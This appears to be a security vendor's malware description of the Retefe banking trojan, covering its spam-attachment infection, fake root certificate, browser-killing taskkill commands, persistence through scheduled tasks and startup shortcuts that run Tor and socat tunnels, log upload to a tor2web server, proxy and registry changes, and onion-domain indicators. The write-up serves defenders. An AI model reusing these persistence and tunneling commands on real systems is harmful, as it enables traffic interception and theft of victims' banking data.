Trojan-Spy:JS/Retefe

Retefe’s source code which was written in JavaScript was compiled in Microsoft Visual C/C++ to render it executable.

Upon execution, Retefe will install a fake root certificate and a Tor client, and then change the proxy and internet settings on the infected machine

Infection Vector

Retefe typically gets into a system when the victim inadvertently opens a malicious file attachment that arrives via a spam email.

Behavior

Install root certificate:

Retefe has been found to install a fake root certificate with sha1: a0050ba4163e64178600f0970a2cad9b2c13088b onto the machine it infected.

Terminate processes:

Once the certificate has been installed, it terminates processes used by web browsers using the following command:

• taskkill /F /im iexplore.exe
• taskkill /F /im firefox.exe
• taskkill /F /im chrome.exe

Create task scheduler:

To achieve persistence, Retefe creates automated tasks with random names in Task Scheduler containing these values:

• vbscript:close(CreateObject("WScript.Shell").Run("tor.exe",0,False))
• s1cmd='socat tcp4-LISTEN:11290,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:%DOMAIN%:80,socksport=9050'; vbscript:close(CreateObject("WScript.Shell").Run("$s1cmd ",0,False))
• $s2cmd='socat tcp4-LISTEN:5588,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:%DOMAIN%:5588,socksport=9050'; vbscript:close(CreateObject("WScript.Shell").Run("$s2cmd ",0,False))

Create shortcut files:

It also creates the following shortcut files in the startup folder:

• msword.lnk
  • Target: vbscript:close(CreateObject("WScript.Shell").Run("tor.exe",0,False))
• acrobat.lnk
  • Target:vbscript:close(CreateObject("WScript.Shell").Run("socat tcp4-LISTEN:11290,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:%DOMAIN%:80,socksport=9050 ",0,False))
• sync.lnk
  • Target: vbscript:close(CreateObject("WScript.Shell").Run("socat tcp4-LISTEN:5588,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:%DOMAIN%:5588,socksport=9050 ",0,False))

Create and upload log file:

Retefe creates a log file which it then uploads to an external server.

• File : $Logfile = $env:ALLUSERSPROFILE+"\\SP_$(gc env:computername).log
• External server : hxxp://jxa43tf73eg34flp[.]tor2web. xyz/

The log file contains the following information:

• Operating system
• PowerShell version
• AutoConfigURL status
• Certificate (installed or not)
• LOCALAPPDATA location
• Antivirus product

Dropped files:

Retefe drops these files into C:\\ProgramData\:

• 7za.exe: 7zip executable which is used to extract the dropped 7z files.
• ts.7z: Contains Microsoft.Win32.TaskScheduler.dll third-party software applications to programmatically manage Windows scheduled tasks.
• tor.7z: Tor file to make the connection anonymous.
• socat.7z: Tool for transferring data between two addresses

Set proxy auto-config:

The URL is specified to:

• hxxp://127.0.0[.]1:11290/{0}.js?ip={1}

Check the IP address:

It checks for these IP address on the victim’s machine:

• hxxp://api[.]ipify[.]org
• hxxp://icanhazip[.]com

Registry Changes:

• HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL:
  • Data: "hxxp://127.0.0[.]1:11290/{0}.js?ip={1}"
• HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoDetect":
  • Data: 0

Network Activities:

Domains used in Tor communication:

• wysq6o3r64d46bnn[.]onion
• zw4lhcf756v5e4nq[.]onion
• g5nhdiv4ooiiozxo[.]onion
• 547iv7ubbdndxdna[.]onion
• oxxavr4m4vpup4sa[.]onion